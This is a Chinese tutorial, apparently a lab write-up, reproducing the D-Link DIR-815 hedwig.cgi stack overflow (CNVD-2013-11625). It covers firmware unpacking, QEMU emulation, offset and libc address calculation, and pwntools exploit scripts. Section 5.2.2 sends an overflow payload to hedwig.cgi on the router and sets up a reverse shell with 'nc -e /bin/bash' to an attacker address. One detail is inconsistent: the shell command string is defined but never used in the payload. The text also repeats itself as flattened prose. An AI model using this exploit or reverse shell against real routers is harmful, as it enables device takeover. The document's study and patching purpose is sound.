DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
字数 2081 2025-08-29 22:41:24

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现教程

1. 复现环境及工具准备

1.1 基础环境

  • 操作系统: Ubuntu 24.04.2 LTS
  • 目标设备: D-Link DIR-815路由器
  • 固件版本: DIR815A1_FW103b01.bin

1.2 必要工具

  1. binwalk: 用于固件解包

    • 安装方法: sudo apt install binwalk
  2. sasquatch: binwalk解压非标准SquashFS文件系统的关键依赖

    • 安装步骤:
      sudo apt install build-essential liblzma-dev liblzo2-dev zlib1g-dev
      git clone https://github.com/devttys0/sasquatch
      cd sasquatch
      ./build.sh
      
  3. QEMU: 用于模拟路由器环境

    • 安装方法: sudo apt install qemu qemu-system qemu-user-static
  4. 交叉编译工具链: 用于MIPS架构分析

    • 安装方法: sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu

2. 漏洞基本信息

2.1 漏洞描述

  • 漏洞编号: CNVD-2013-11625
  • 影响设备: D-Link DIR-815路由器
  • 漏洞文件: /htdocs/web/hedwig.cgi (实际为/htdocs/cgibin的软链接)
  • 漏洞类型: 栈缓冲区溢出
  • 漏洞成因: sprintf函数未对用户输入的cookie中uid=后的内容进行长度检查

2.2 漏洞位置

漏洞存在于hedwigcgi_main函数中的两个sprintf调用处,向固定大小的缓冲区(v27[1024])写入可控长度的uid=后内容。

3. 固件分析

3.1 固件解包

binwalk -Me DIR815A1_FW103b01.bin

解包后得到_DIR815A1_FW103b01.bin.extracted目录,关键文件位于squashfs-root子目录中。

3.2 文件修复

解包后可能需要修复软链接问题:

  1. 修改/usr/lib/python3/dist-packages/binwalk/modules/extractor.py
  2. 找到处理软链接的部分,确保不将软链接指向/dev/null

3.3 保护机制检查

使用checksec检查目标文件:

checksec --file=./squashfs-root/htdocs/cgibin

结果显示无任何保护机制(NX, ASLR, Stack Canary等均未开启)。

4. 漏洞分析

4.1 关键函数分析

  1. hedwigcgi_main函数:

    • 要求POST请求方式
    • 调用cgibin_parse_request处理请求
    • 调用sess_get_uid从cookie中提取uid=后内容
  2. sess_get_uid函数:

    • 从环境变量HTTP_COOKIE获取cookie
    • 分离uid=后的内容
    • 将内容返回给调用者
  3. 漏洞触发点:

    • 两个sprintf调用均向v27[1024]写入可控内容
    • 第一个sprintf: sprintf(v27, "%s/%s_post.xml", "/var/tmp", string)
    • 第二个sprintf: sprintf(v27, "%s/%s", "/var/tmp", string)

4.2 利用条件

  1. 需要存在/var/tmp目录
  2. 需要设置环境变量:
    • REQUEST_METHOD=POST
    • CONTENT_TYPE=application/x-www-form-urlencoded
    • REQUEST_URI需要有内容

5. 漏洞利用

5.1 QEMU用户态模拟利用

5.1.1 环境准备

cp -r squashfs-root /tmp
cd /tmp/squashfs-root
mkdir -p var/tmp

5.1.2 偏移量计算

  1. 创建测试脚本test.py:
from pwn import *
import os

context.arch = 'mips'
context.endian = 'little'

def send_payload(payload):
    env = {
        "REQUEST_METHOD": "POST",
        "CONTENT_TYPE": "application/x-www-form-urlencoded",
        "REQUEST_URI": "a"*0x10,
        "HTTP_COOKIE": "uid=" + payload
    }
    os.execve("./qemu-mipsel-static", ["./qemu-mipsel-static", "-g", "1234", "./htdocs/cgibin"], env)

payload = cyclic(2000)
send_payload(payload)
  1. 使用GDB调试计算偏移:
gdb-multiarch -q ./htdocs/cgibin
> target remote :1234
> c

通过崩溃时的寄存器值计算得偏移量为1009字节。

5.1.3 libc基址计算

  1. sess_get_uid函数返回处下断点
  2. 获取memset函数地址(如:0x2b333a20)
  3. 从libc文件(libuClibc-0.9.30.1.so)中获取memset偏移量(0x034A20)
  4. 计算libc基址: 0x2b333a20 - 0x034A20 = 0x2B2FF000

5.1.4 编写利用代码

from pwn import *
import os

context.arch = 'mips'
context.endian = 'little'

libc_base = 0x2B2FF000
system = libc_base + 0x53200

payload = b'A'*1009
payload += p32(system)
payload += b'B'*4
payload += p32(libc_base + 0x56f84)  # "sh"字符串地址

env = {
    "REQUEST_METHOD": "POST",
    "CONTENT_TYPE": "application/x-www-form-urlencoded",
    "REQUEST_URI": "a"*0x10,
    "HTTP_COOKIE": "uid=" + payload.decode('latin1')
}

os.execve("./qemu-mipsel-static", ["./qemu-mipsel-static", "./htdocs/cgibin"], env)

5.2 QEMU系统态模拟利用

5.2.1 环境准备

  1. 下载系统镜像和内核:

    • 镜像: debian_squeeze_mipsel_standard.qcow2
    • 内核: vmlinux-3.2.0-4-4kc-malta
  2. 创建网桥:

sudo apt install bridge-utils uml-utilities
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
  1. 启动QEMU:
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

5.2.2 反弹shell利用

  1. 在攻击机监听端口:
nc -lvnp 8888
  1. 利用代码:
from pwn import *
import requests

context.arch = 'mips'
context.endian = 'little'

libc_base = 0x77f34000
system = libc_base + 0x53200

# nc -e /bin/bash <attacker_ip> 8888
command = "nc -e /bin/bash 192.168.1.100 8888"
command_addr = libc_base + 0x56f84

payload = b'A'*1009
payload += p32(system)
payload += b'B'*4
payload += p32(command_addr)

headers = {
    "Cookie": "uid=" + payload.decode('latin1'),
    "Content-Type": "application/x-www-form-urlencoded"
}

requests.post("http://192.168.1.200/hedwig.cgi", headers=headers, data="a"*0x10)

6. 漏洞修复建议

  1. 对用户输入进行严格长度检查
  2. 使用更安全的字符串处理函数(如snprintf替代sprintf)
  3. 启用编译器的栈保护机制
  4. 对cookie中的特殊字符进行过滤

7. 参考资源

  1. 固件下载链接: 百度网盘
  2. QEMU镜像下载: Index of /~aurel32/qemu/mipsel
  3. IDA MIPS插件: ida mips插件安装
  4. MIPSROP工具: IDA插件 MIPSROP
DIR-815 栈溢出漏洞(CNVD-2013-11625)复现教程 1. 复现环境及工具准备 1.1 基础环境 操作系统 : Ubuntu 24.04.2 LTS 目标设备 : D-Link DIR-815路由器 固件版本 : DIR815A1_ FW103b01.bin 1.2 必要工具 binwalk : 用于固件解包 安装方法: sudo apt install binwalk sasquatch : binwalk解压非标准SquashFS文件系统的关键依赖 安装步骤: QEMU : 用于模拟路由器环境 安装方法: sudo apt install qemu qemu-system qemu-user-static 交叉编译工具链 : 用于MIPS架构分析 安装方法: sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu 2. 漏洞基本信息 2.1 漏洞描述 漏洞编号 : CNVD-2013-11625 影响设备 : D-Link DIR-815路由器 漏洞文件 : /htdocs/web/hedwig.cgi (实际为 /htdocs/cgibin 的软链接) 漏洞类型 : 栈缓冲区溢出 漏洞成因 : sprintf 函数未对用户输入的cookie中 uid= 后的内容进行长度检查 2.2 漏洞位置 漏洞存在于 hedwigcgi_main 函数中的两个 sprintf 调用处,向固定大小的缓冲区( v27[1024] )写入可控长度的 uid= 后内容。 3. 固件分析 3.1 固件解包 解包后得到 _DIR815A1_FW103b01.bin.extracted 目录,关键文件位于 squashfs-root 子目录中。 3.2 文件修复 解包后可能需要修复软链接问题: 修改 /usr/lib/python3/dist-packages/binwalk/modules/extractor.py 找到处理软链接的部分,确保不将软链接指向 /dev/null 3.3 保护机制检查 使用 checksec 检查目标文件: 结果显示无任何保护机制(NX, ASLR, Stack Canary等均未开启)。 4. 漏洞分析 4.1 关键函数分析 hedwigcgi_ main函数 : 要求POST请求方式 调用 cgibin_parse_request 处理请求 调用 sess_get_uid 从cookie中提取 uid= 后内容 sess_ get_ uid函数 : 从环境变量 HTTP_COOKIE 获取cookie 分离 uid= 后的内容 将内容返回给调用者 漏洞触发点 : 两个 sprintf 调用均向 v27[1024] 写入可控内容 第一个 sprintf : sprintf(v27, "%s/%s_post.xml", "/var/tmp", string) 第二个 sprintf : sprintf(v27, "%s/%s", "/var/tmp", string) 4.2 利用条件 需要存在 /var/tmp 目录 需要设置环境变量: REQUEST_METHOD=POST CONTENT_TYPE=application/x-www-form-urlencoded REQUEST_URI 需要有内容 5. 漏洞利用 5.1 QEMU用户态模拟利用 5.1.1 环境准备 5.1.2 偏移量计算 创建测试脚本 test.py : 使用GDB调试计算偏移: 通过崩溃时的寄存器值计算得偏移量为1009字节。 5.1.3 libc基址计算 在 sess_get_uid 函数返回处下断点 获取 memset 函数地址(如:0x2b333a20) 从libc文件( libuClibc-0.9.30.1.so )中获取 memset 偏移量(0x034A20) 计算libc基址: 0x2b333a20 - 0x034A20 = 0x2B2FF000 5.1.4 编写利用代码 5.2 QEMU系统态模拟利用 5.2.1 环境准备 下载系统镜像和内核: 镜像: debian_squeeze_mipsel_standard.qcow2 内核: vmlinux-3.2.0-4-4kc-malta 创建网桥: 启动QEMU: 5.2.2 反弹shell利用 在攻击机监听端口: 利用代码: 6. 漏洞修复建议 对用户输入进行严格长度检查 使用更安全的字符串处理函数(如 snprintf 替代 sprintf ) 启用编译器的栈保护机制 对cookie中的特殊字符进行过滤 7. 参考资源 固件下载链接: 百度网盘 QEMU镜像下载: Index of /~aurel32/qemu/mipsel IDA MIPS插件: ida mips插件安装 MIPSROP工具: IDA插件 MIPSROP